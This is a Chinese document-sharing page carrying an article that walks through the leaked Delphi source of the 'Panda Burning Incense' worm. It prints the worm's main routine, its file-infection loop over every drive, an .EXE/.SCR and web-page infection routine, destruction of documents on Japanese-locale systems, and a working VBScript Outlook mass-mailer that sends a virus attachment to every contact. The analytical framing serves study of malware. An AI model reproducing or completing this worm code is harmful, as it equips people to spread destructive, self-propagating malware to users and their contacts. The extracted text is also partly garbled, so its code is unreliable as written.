熊猫烧香(源代码)

上传人:mg****85 文档编号:34205585 上传时间:2018-02-21 格式:DOC 页数:5 大小:62KB
返回 下载 相关 举报
熊猫烧香(源代码)_第1页
第1页 / 共5页
熊猫烧香(源代码)_第2页
第2页 / 共5页
熊猫烧香(源代码)_第3页
第3页 / 共5页
熊猫烧香(源代码)_第4页
第4页 / 共5页
熊猫烧香(源代码)_第5页
第5页 / 共5页
亲,该文档总共5页,全部预览完了,如果喜欢就下载吧!
资源描述

《熊猫烧香(源代码)》由会员分享,可在线阅读,更多相关《熊猫烧香(源代码)(5页珍藏版)》请在金锄头文库上搜索。

1、(一) 主程序段分析原“熊猫烧香”病毒“ 源码”主程序段代码如下所示:=主程序开始= begin if IsWin9x then /是 Win9x RegisterServiceProcess(GetCurrentProcessID, 1) /注册为服务进程else /WinNT begin /远程线程映射到 Explorer 进程/哪位兄台愿意完成之?end; /如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0), Japussy.exe) = 0 then InfectFiles /感染和发邮件else /已寄生于宿主程序上了,开始工作

2、begin TmpFile := ParamStr(0); /创建临时文件.Line nDelete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + .exe; /真正的宿主文件,多一个空格ExtractFile(TmpFile); /分离之FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, ., Si, Pi); /创建新进程运行之.Line n+7Infec

3、tFiles; /感染和发邮件end; end. 对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) /注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows 任务管理器下隐藏显示。然后,上面代码在判断当前操作系统不是 Win9X 后,提到“远程线程映射到 Explorer 进程” 一句。其实这里所用 Jeffrey Richter 所著Windows 95 Windows NT 3.5高级编程技术 (后多次更句)一书

4、第 16 章“闯过进程的边界”中详细讨论的“使用远程线来注入一个 DLL”技术。如今,只要上网 GOOGLE 一下“远程线程映射技术” 即出现大量实片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到 Explorer 进程呢?原来,Explorer(注:Windows 资源管理器的名字也是 Explorer.exe,但并不是一回事!)进程在Windows 系统中举足轻重Windows 在启动过程中都会随同激活一个名为 Explorer.exe 的进程。它用于管理 Windows 图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致 Windows 图形界面无法适

5、用。注:这并不是说 Windows 的运行根本离开它;但删除掉这个程序后,整个 Windows 桌面无法再用,而对于普通用户也感觉到好象法再使用 Windows 了。另注:VCL 函数 Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当 n=0 时,返回当前可执行文件名(包含完整的路径) 。 因此,上面代码中从 n 行到第 n+7 行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原” 无毒程序(实际上文件名已经改变,加了一个空格字符) 。 接下

6、来,让我们入分析上面流程中“InfectFiles(感染文件) ”部分的执行过程。 (二) 具体感染文件的过程这个子过程的源码如下所示:遍历磁盘上所有的文件并实际感染 procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then /日文操作系统。函数 GetACP 用于检索系统所用语言IsJap := True; /去死吧!DriverList := GetDrives; /得到可写的磁盘列表 Len := Length(DriverList); while True do

7、/死循环begin for i := Len downto 1 do /遍历每个磁盘驱动器LoopFiles(DriverList + :, *.*); /感染之SendMail; /发带毒邮件Sleep(1000 * 60 * 5); /睡眠 5 分钟病毒常用简单诈骗术之一 end; end; = InfectFiles 这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群

8、发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段 VBScript 脚本:Set objOA=Wscript.CreateObject(Outlook.Application) 创建一个 OUTLOOK 应用的对象Set objMapi=objOA.GetNameSpace(MAPI)取得 MAPI 名字空间 For i=1 to objMapi.AddressLists.Count 遍历地址簿 Set objAddList=objMapi.AddressLists(i ) For j=1 To objAddList. AddressEntries.Count Set

9、objMail=objOA.CreateItem (0)objMail.Recipients.Add (objAddList. AddressEntries (j) ) 取得收件人邮件地址objMail.Subject=你好! 设置邮件主题objMail.Body=这次给你的附件,是我的新文档! 设置信件内容objMail.Attachments.Add(“c:virus.vbs ) 把自己作为附件扩散出去 objMail.Send 发送邮件Next Next Set objMapi=Nothing Set objOA=Nothing 注意,这段代码是非常基本的使用 VBScript 脚本操作

10、 Outlook COM 对象,并进而达到通编程方式操作 Outlook 发送特定邮件的编程技术。其中,最关键的一句在于: objMail.Attachments.Add(“c:virus.vbs ) 在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!(三) LoopFiles 子过程分析 这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断: 遍历目录,感染和摧毁文件 procedure LoopFiles(Path, Mask: string); var /局部变量定义Msg: TMsg; / IsValidDir 判断指定对象是否是“目录”

11、function IsValidDir(SearchRec: TSearchRec): Integer; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); /调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn); if (Ext =

12、.EXE) or (Ext = .SCR) then /Line X begin InfectOneFile(Fn); /感染可执行文件end else if (Ext = .HTM) or (Ext = .HTML) or (Ext = .ASP) then begin /感染 HTML 和 ASP 文件,将 Base64 编码后的病毒写入 /感染浏览此网页的所有用户/哪位大兄弟愿意完成之?endelse if Ext = .WAB then /Outlook 地址簿文件begin /获取 Outlook 邮件地址end else if Ext = .ADC then /Foxmail 地址

13、自动完成文件begin /获取 Foxmail 邮件地址 end else if Ext = IND then /Foxmail 地址簿文件begin /获取 Foxmail 邮件地址end else begin if IsJap then /是倭文操作系统begin if (Ext = .DOC) or (Ext = .XLS) or (Ext = .MDB) orthenSmashFile(Fn); /摧毁文件 end; end; end; /感染或删除一个文件后睡眠 200 毫秒,避免 CPU 占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec

14、) 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + *.*, faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + , Mask);FreeAndNil(SubDir); end; 此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作编码。既如此,那么让我们从 Line X 开始分析。在确定当前文件为可执行文件(仅针对.EXE和.SCR 文件)后,调用子过程 InfectOneFile 进行特定的感染。接下来,如果文件为某些网页(扩展名为.HTM、.HTML 和.ASP) ,则继续感染这些网页文件 在网页最后加入类似如下的代码段(本代码摘自某君对一种“熊猫病毒”变体的分析结果)

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 生活休闲 > 科普知识

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号